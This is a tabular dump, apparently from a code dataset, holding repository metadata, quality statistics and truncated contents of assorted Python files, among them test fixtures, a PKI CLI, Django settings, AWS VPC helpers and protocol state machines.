hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
84e4a5de1b248ed60460b4bced5480be4b151dcc | 3,781 | py | Python | tests/conftest.py | daitakahashi/tinydb-query | 2090bc57eb368bce435a737979c6bb35476807bf | [
"MIT"
] | null | null | null | tests/conftest.py | daitakahashi/tinydb-query | 2090bc57eb368bce435a737979c6bb35476807bf | [
"MIT"
] | null | null | null | tests/conftest.py | daitakahashi/tinydb-query | 2090bc57eb368bce435a737979c6bb35476807bf | [
"MIT"
] | null | null | null |
import contextlib
import pytest
import tinydb
import tinydb_ql as QL
@contextlib.contextmanager
def _db_instance(*args, **kwargs):
with tinydb.TinyDB(*args, **kwargs) as db:
db.insert_multiple([
{'name': 'bob', 'age': 12,
'blob': 1,
'status': {
'gam... | 33.460177 | 67 | 0.446972 | 364 | 3,781 | 4.505495 | 0.258242 | 0.060976 | 0.043902 | 0.054878 | 0.454878 | 0.409756 | 0.367073 | 0.321951 | 0.278049 | 0.278049 | 0 | 0.032244 | 0.384819 | 3,781 | 112 | 68 | 33.758929 | 0.672829 | 0 | 0 | 0.336735 | 0 | 0 | 0.191534 | 0 | 0 | 0 | 0 | 0 | 0.030612 | 1 | 0.091837 | false | 0 | 0.040816 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84e7e0f70cf554ea76e8cfff8caa7e0e27d45a16 | 3,534 | py | Python | openfl/interface/pki.py | brandon-edwards/openfl | 9e0521252253eab09571dc2be40f46bfeaf9746a | [
"Apache-2.0"
] | 1 | 2021-07-14T08:43:55.000Z | 2021-07-14T08:43:55.000Z | openfl/interface/pki.py | brandon-edwards/openfl | 9e0521252253eab09571dc2be40f46bfeaf9746a | [
"Apache-2.0"
] | null | null | null | openfl/interface/pki.py | brandon-edwards/openfl | 9e0521252253eab09571dc2be40f46bfeaf9746a | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2020-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
"""PKI CLI."""
import logging
import os
from pathlib import Path
from click import group
from click import option
from click import pass_context
from click import password_option
from click import Path as ClickPath
from openfl.componen... | 32.722222 | 87 | 0.699491 | 535 | 3,534 | 4.431776 | 0.214953 | 0.073387 | 0.080135 | 0.08857 | 0.354703 | 0.317166 | 0.233657 | 0.097427 | 0.06706 | 0.06706 | 0 | 0.004733 | 0.162988 | 3,534 | 107 | 88 | 33.028037 | 0.796822 | 0.11262 | 0 | 0.150685 | 0 | 0 | 0.136527 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.082192 | false | 0.136986 | 0.246575 | 0 | 0.342466 | 0.027397 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
84e83922e6be948bcdc8a6d29d5d312888e54296 | 746 | py | Python | challenges/array/array_duplicate.py | lukasmartinelli/sharpen | 6f314fc2aa17990ede04055e7c3ac9394a6c12c0 | [
"CC0-1.0"
] | 13 | 2017-04-24T23:27:16.000Z | 2020-05-25T22:41:42.000Z | challenges/array/array_duplicate.py | lukasmartinelli/sharpen | 6f314fc2aa17990ede04055e7c3ac9394a6c12c0 | [
"CC0-1.0"
] | null | null | null | challenges/array/array_duplicate.py | lukasmartinelli/sharpen | 6f314fc2aa17990ede04055e7c3ac9394a6c12c0 | [
"CC0-1.0"
] | 2 | 2017-05-27T08:55:28.000Z | 2018-08-11T08:54:51.000Z | import collections
def find_duplicate(arr):
"""
Find the first duplicate in an array of n + 1 integers between 1 and n.
Find a repeating number in linear time using less than O(n) space and
traversing the array only once.
Given the input A.
assert find_duplicate([3, 4, 1, 4, 1]) == 1
... | 22.606061 | 75 | 0.656836 | 115 | 746 | 4.078261 | 0.46087 | 0.221748 | 0.162047 | 0.127932 | 0.24307 | 0.102345 | 0.102345 | 0.102345 | 0 | 0 | 0 | 0.040998 | 0.247989 | 746 | 32 | 76 | 23.3125 | 0.795009 | 0.324397 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.230769 | 1 | 0.307692 | false | 0 | 0.076923 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
84e8531b2f78d8767380447a8eab9577039dac81 | 3,324 | py | Python | project/settings/development.py | ellmetha/machina-vanilla | a64317141f274097c269f18053d80f48dae86dff | [
"MIT"
] | 1 | 2020-06-04T08:13:06.000Z | 2020-06-04T08:13:06.000Z | project/settings/development.py | ellmetha/machina-demo | a64317141f274097c269f18053d80f48dae86dff | [
"MIT"
] | null | null | null | project/settings/development.py | ellmetha/machina-demo | a64317141f274097c269f18053d80f48dae86dff | [
"MIT"
] | 1 | 2018-09-22T07:05:33.000Z | 2018-09-22T07:05:33.000Z | """
Development Django settings for machina-vanilla demo project
============================================================
This files imports the `base` settings and can add or modify previously defined settings to
alter the configuration of the application for development purposes.
For more in... | 31.065421 | 97 | 0.556258 | 321 | 3,324 | 5.598131 | 0.470405 | 0.040067 | 0.080134 | 0.044519 | 0.129104 | 0.095715 | 0.095715 | 0.04118 | 0 | 0 | 0 | 0.016229 | 0.128761 | 3,324 | 106 | 98 | 31.358491 | 0.604282 | 0.528881 | 0 | 0.04878 | 0 | 0 | 0.318637 | 0.215097 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.02439 | 0.097561 | 0 | 0.097561 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84eb634735ed60c5bacfdd3f05d4b74a3ee4a389 | 5,998 | py | Python | info.py | marcan/deresuteme | 2d77d04ba0127af57b1880fc764de2650b317d87 | [
"Apache-2.0"
] | 84 | 2016-03-14T17:00:29.000Z | 2022-01-26T11:59:46.000Z | info.py | marcan/deresuteme | 2d77d04ba0127af57b1880fc764de2650b317d87 | [
"Apache-2.0"
] | 2 | 2017-08-20T21:06:56.000Z | 2019-07-19T06:21:27.000Z | info.py | marcan/deresuteme | 2d77d04ba0127af57b1880fc764de2650b317d87 | [
"Apache-2.0"
] | 12 | 2017-03-13T11:59:43.000Z | 2021-12-24T17:20:25.000Z | #!/usr/bin/python
# -!- coding: utf-8 -!-
#
# Copyright 2016 Hector Martin <marcan@marcan.st>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.... | 36.351515 | 94 | 0.578526 | 784 | 5,998 | 4.186224 | 0.28699 | 0.042657 | 0.067032 | 0.068556 | 0.273309 | 0.225472 | 0.189519 | 0.120049 | 0.041438 | 0 | 0 | 0.019706 | 0.263921 | 5,998 | 164 | 95 | 36.573171 | 0.723669 | 0.135378 | 0 | 0.075 | 0 | 0 | 0.236149 | 0.004843 | 0 | 0 | 0 | 0 | 0.008333 | 1 | 0.058333 | false | 0.008333 | 0.016667 | 0.008333 | 0.141667 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84ec76065cd8fd886f8b8693283d91becf11271b | 1,562 | py | Python | tests/ansible/lib/action/assert_equal.py | msaladna/mitogen | c6824b68181729cb16c090e72f4d35d6c4d95523 | [
"BSD-3-Clause"
] | 1,526 | 2017-09-15T18:49:40.000Z | 2021-01-17T16:04:12.000Z | tests/ansible/lib/action/assert_equal.py | msaladna/mitogen | c6824b68181729cb16c090e72f4d35d6c4d95523 | [
"BSD-3-Clause"
] | 682 | 2017-09-11T17:43:12.000Z | 2021-01-17T05:26:26.000Z | tests/ansible/lib/action/assert_equal.py | msaladna/mitogen | c6824b68181729cb16c090e72f4d35d6c4d95523 | [
"BSD-3-Clause"
] | 111 | 2017-09-15T23:21:37.000Z | 2021-01-01T14:45:35.000Z | #
# Print data structure diff on assertion failure.
#
# assert_equal: left=some.result right={1:2}
#
__metaclass__ = type
import inspect
import unittest2
import ansible.template
from ansible.errors import AnsibleError
from ansible.plugins.action import ActionBase
from ansible.module_utils.six import string_types
... | 22 | 68 | 0.621639 | 178 | 1,562 | 5.297753 | 0.488764 | 0.034995 | 0.033934 | 0.042418 | 0.050901 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003534 | 0.275288 | 1,562 | 70 | 69 | 22.314286 | 0.829505 | 0.075544 | 0 | 0.043478 | 0 | 0 | 0.065597 | 0.01605 | 0 | 0 | 0 | 0 | 0.043478 | 1 | 0.086957 | false | 0.021739 | 0.130435 | 0.021739 | 0.413043 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84ec94c6c196a5afef15f2ef72d96dcc3f618ad6 | 18,572 | py | Python | dataDisplay.py | andreasbayer/AEGUIFit | 6a1e31091b74d648d007c75c9fef6efae4086860 | [
"BSD-3-Clause"
] | null | null | null | dataDisplay.py | andreasbayer/AEGUIFit | 6a1e31091b74d648d007c75c9fef6efae4086860 | [
"BSD-3-Clause"
] | null | null | null | dataDisplay.py | andreasbayer/AEGUIFit | 6a1e31091b74d648d007c75c9fef6efae4086860 | [
"BSD-3-Clause"
] | null | null | null | import matplotlib
matplotlib.use('Qt5Agg')
import matplotlib.pyplot as plt
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
from PyQt5.QtCore import pyqtSignal, Qt
import fitDataInfo as fdi
import AEFitDataInfo as adi
import polyFitDataInfo as pdi
import numpy as np
import traceback
c... | 33.463063 | 120 | 0.54846 | 2,165 | 18,572 | 4.362587 | 0.152425 | 0.029857 | 0.014293 | 0.006988 | 0.279619 | 0.191742 | 0.149497 | 0.130969 | 0.103335 | 0.103335 | 0 | 0.010793 | 0.351443 | 18,572 | 554 | 121 | 33.523466 | 0.77335 | 0.108658 | 0 | 0.29558 | 0 | 0 | 0.014915 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.143646 | false | 0.008287 | 0.024862 | 0.024862 | 0.254144 | 0.024862 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84ed9cd7c89c3cf96e8fc4e58db01358212f8b36 | 1,723 | py | Python | simple_lab/network.py | adam-phelps/simple_lab | 4a8acccfd6bf713742fe2ac0bd988f811218eb3b | [
"MIT"
] | null | null | null | simple_lab/network.py | adam-phelps/simple_lab | 4a8acccfd6bf713742fe2ac0bd988f811218eb3b | [
"MIT"
] | null | null | null | simple_lab/network.py | adam-phelps/simple_lab | 4a8acccfd6bf713742fe2ac0bd988f811218eb3b | [
"MIT"
] | null | null | null | def create_vpc(ec2_r, cidr_block, lab_tag):
""" Create VPC using EC2 resource. """
vpc = ec2_r.create_vpc(CidrBlock=cidr_block)
vpc.wait_until_available()
vpc.create_tags(Tags=[{
"Key": "Name",
"Value": lab_tag
}])
return vpc
def create_internet_gateway(ec2_r, vpc):
""" Cre... | 28.716667 | 68 | 0.625073 | 234 | 1,723 | 4.367521 | 0.354701 | 0.015656 | 0.017613 | 0.015656 | 0.072407 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018053 | 0.260592 | 1,723 | 59 | 69 | 29.20339 | 0.784144 | 0.145676 | 0 | 0 | 0 | 0 | 0.049512 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.139535 | false | 0 | 0 | 0 | 0.27907 | 0.023256 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f0abc2d883dc04a98da886bfd216c8f988f4d9 | 13,280 | py | Python | caproto/_state.py | mrakitin/caproto | ad49ffbe1a69ddc63cac9ec7f1a3468a4965e465 | [
"BSD-3-Clause"
] | 12 | 2019-05-25T14:26:25.000Z | 2022-01-24T09:10:18.000Z | caproto/_state.py | mrakitin/caproto | ad49ffbe1a69ddc63cac9ec7f1a3468a4965e465 | [
"BSD-3-Clause"
] | 333 | 2017-06-22T03:10:15.000Z | 2019-05-07T16:37:20.000Z | caproto/_state.py | mrakitin/caproto | ad49ffbe1a69ddc63cac9ec7f1a3468a4965e465 | [
"BSD-3-Clause"
] | 17 | 2019-07-03T18:17:22.000Z | 2022-03-22T00:24:20.000Z | # This module encodes the rules of the Channel Access protocol as nested
# dictionaries. (See the state machine diagram in the documentation,
# programmatically generated from these dictionaries.)
# There are two state machines, tracking circuit state and channel state. They
# are coupled: each time circuit state upda... | 36.383562 | 79 | 0.62613 | 1,184 | 13,280 | 6.834459 | 0.21875 | 0.023356 | 0.048196 | 0.017054 | 0.498146 | 0.456995 | 0.456995 | 0.456995 | 0.442165 | 0.442165 | 0 | 0.000655 | 0.310392 | 13,280 | 364 | 80 | 36.483516 | 0.882944 | 0.196536 | 0 | 0.478261 | 1 | 0 | 0.013989 | 0.004537 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047431 | false | 0 | 0.007905 | 0.007905 | 0.094862 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
84f11b9075e7dca292405b9b7362e0bde6337c4a | 102 | py | Python | app/assessment/__init__.py | kurapikaaaa/CITS3403Project | 8958219845d5251830f2abd7c58dfd87d97b8c4a | [
"MIT"
] | 1 | 2021-08-04T12:50:57.000Z | 2021-08-04T12:50:57.000Z | app/assessment/__init__.py | kurapikaaaa/CITS3403Project | 8958219845d5251830f2abd7c58dfd87d97b8c4a | [
"MIT"
] | null | null | null | app/assessment/__init__.py | kurapikaaaa/CITS3403Project | 8958219845d5251830f2abd7c58dfd87d97b8c4a | [
"MIT"
] | 1 | 2021-08-12T10:40:28.000Z | 2021-08-12T10:40:28.000Z | from flask import Blueprint
bp = Blueprint('assessment', __name__)
from app.assessment import routes | 20.4 | 38 | 0.803922 | 13 | 102 | 6 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127451 | 102 | 5 | 39 | 20.4 | 0.876404 | 0 | 0 | 0 | 0 | 0 | 0.097087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 5 |
84f16eceef3846efad926ffc7294baff132ede53 | 7,829 | py | Python | src/foreign_if/python/main/python/frovedis/exrpc/server.py | XpressAI/frovedis | bda0f2c688fb832671c5b542dd8df1c9657642ff | [
"BSD-2-Clause"
] | 63 | 2018-06-21T14:11:59.000Z | 2022-03-30T11:24:36.000Z | src/foreign_if/python/main/python/frovedis/exrpc/server.py | XpressAI/frovedis | bda0f2c688fb832671c5b542dd8df1c9657642ff | [
"BSD-2-Clause"
] | 5 | 2018-09-22T14:01:53.000Z | 2021-12-27T16:11:05.000Z | src/foreign_if/python/main/python/frovedis/exrpc/server.py | XpressAI/frovedis | bda0f2c688fb832671c5b542dd8df1c9657642ff | [
"BSD-2-Clause"
] | 12 | 2018-08-23T15:59:44.000Z | 2022-02-20T06:47:22.000Z | """
server.py
"""
import warnings
from . import node, rpclib
class ServerID(object):
"""A python container for generating IDs for frovedis server"""
__initial = 0
__id = __initial
# A threshold value, assuming it is safe to re-iterate
# server ID after reaching this value
__max_id = (1 << 31)
... | 35.107623 | 97 | 0.609912 | 873 | 7,829 | 5.271478 | 0.261168 | 0.071708 | 0.026076 | 0.028249 | 0.185789 | 0.119296 | 0.119296 | 0.101043 | 0.101043 | 0.101043 | 0 | 0.003458 | 0.298122 | 7,829 | 222 | 98 | 35.265766 | 0.834031 | 0.188274 | 0 | 0.269737 | 0 | 0 | 0.126414 | 0.014757 | 0 | 0 | 0 | 0 | 0 | 1 | 0.131579 | false | 0 | 0.052632 | 0 | 0.348684 | 0.019737 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f241e899fdd0756dc158f8d65dba55d53f1060 | 2,015 | py | Python | tests/conftest.py | Preocts/secretbox | 81638bc4ca5defe1f594a249d9806a622bc686fe | [
"MIT"
] | 3 | 2021-10-16T11:49:40.000Z | 2021-11-28T01:35:25.000Z | tests/conftest.py | Preocts/secretbox | 81638bc4ca5defe1f594a249d9806a622bc686fe | [
"MIT"
] | 50 | 2021-07-31T03:23:27.000Z | 2022-03-28T18:55:48.000Z | tests/conftest.py | Preocts/secretbox | 81638bc4ca5defe1f594a249d9806a622bc686fe | [
"MIT"
] | 1 | 2021-12-09T21:15:19.000Z | 2021-12-09T21:15:19.000Z | """Global fixtures"""
import os
import tempfile
from typing import Generator
from unittest.mock import patch
import pytest
AWS_ENV_KEYS = [
"AWS_ACCESS_KEY",
"AWS_SECRET_ACCESS_KEY",
"AWS_SECURITY_TOKEN",
"AWS_SESSION_TOKEN",
]
ENV_FILE_CONTENTS = [
"SECRETBOX_TEST_PROJECT_ENVIRONMENT=sandbox",
... | 27.60274 | 71 | 0.642184 | 253 | 2,015 | 4.920949 | 0.422925 | 0.028112 | 0.051406 | 0.049799 | 0.504418 | 0.393574 | 0.346988 | 0.346988 | 0.281125 | 0.281125 | 0 | 0.00706 | 0.226799 | 2,015 | 72 | 72 | 27.986111 | 0.792041 | 0.07196 | 0 | 0.157895 | 0 | 0 | 0.392645 | 0.063818 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.035088 | 0.087719 | 0 | 0.140351 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f47bb45348683e51a33cad06f7af340e359008 | 2,806 | py | Python | ooobuild/lo/util/date.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | ooobuild/lo/util/date.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | ooobuild/lo/util/date.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
#
# Copyright 2022 :Barry-Thomas-Paul: Moss
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: // www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 25.981481 | 127 | 0.59052 | 369 | 2,806 | 4.352304 | 0.390244 | 0.03736 | 0.031133 | 0.043587 | 0.118929 | 0.070361 | 0.031133 | 0.031133 | 0 | 0 | 0 | 0.015167 | 0.295082 | 2,806 | 107 | 128 | 26.224299 | 0.796764 | 0.408411 | 0 | 0.068182 | 0 | 0 | 0.066341 | 0.030726 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.045455 | 0 | 0.431818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
84f49df4b54fc586d59781fc882e6884c4c5d19d | 1,365 | py | Python | importer/base.py | czfshine/MarkAll | 0b3d0ccf5cf0da9957273024bc942cae7441a026 | [
"MIT"
] | 2 | 2016-09-16T02:24:30.000Z | 2018-03-07T04:48:27.000Z | importer/base.py | czfshine/MarkAll | 0b3d0ccf5cf0da9957273024bc942cae7441a026 | [
"MIT"
] | null | null | null | importer/base.py | czfshine/MarkAll | 0b3d0ccf5cf0da9957273024bc942cae7441a026 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from treelib import *
import urlparse
class bkdata(object):
''' the bookmark data '''
def __init__(self,data):
for k in data :
setattr(self,k,data[k])#then it can getattr :(
def to_dict(self):
return self.__dict__
class importer(object):
'''im... | 25.754717 | 63 | 0.522344 | 167 | 1,365 | 4.149701 | 0.413174 | 0.103896 | 0.025974 | 0.040404 | 0.248196 | 0.193362 | 0.193362 | 0.193362 | 0.118326 | 0.118326 | 0 | 0.001121 | 0.34652 | 1,365 | 53 | 64 | 25.754717 | 0.775785 | 0.153114 | 0 | 0.242424 | 0 | 0 | 0.000901 | 0 | 0 | 0 | 0 | 0.018868 | 0 | 1 | 0.333333 | false | 0.121212 | 0.090909 | 0.060606 | 0.575758 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
84f4f275de4aaf183a73aca520dcd247fdc93c0a | 454 | py | Python | Mundo1/aula9b.py | OliveiraVasconcelos/Python-CursoemVideo | bcca20d24b6af7bde9ce290b011cfa5abc0c1cc3 | [
"MIT"
] | null | null | null | Mundo1/aula9b.py | OliveiraVasconcelos/Python-CursoemVideo | bcca20d24b6af7bde9ce290b011cfa5abc0c1cc3 | [
"MIT"
] | null | null | null | Mundo1/aula9b.py | OliveiraVasconcelos/Python-CursoemVideo | bcca20d24b6af7bde9ce290b011cfa5abc0c1cc3 | [
"MIT"
] | null | null | null | #variaveis
numero = int((input('Digite um número de 0 à 9999: ')))
digito = str(numero)
digito = len(digito)
u = numero // 1 % 10
d = numero // 10 % 10
c = numero // 100 % 10
m = numero // 1000 % 10
#calculo do programa
print(f'Digitos: {digito}')
print('Unidade: {}'.format(u))
print('Dezena: {}'.format(d))
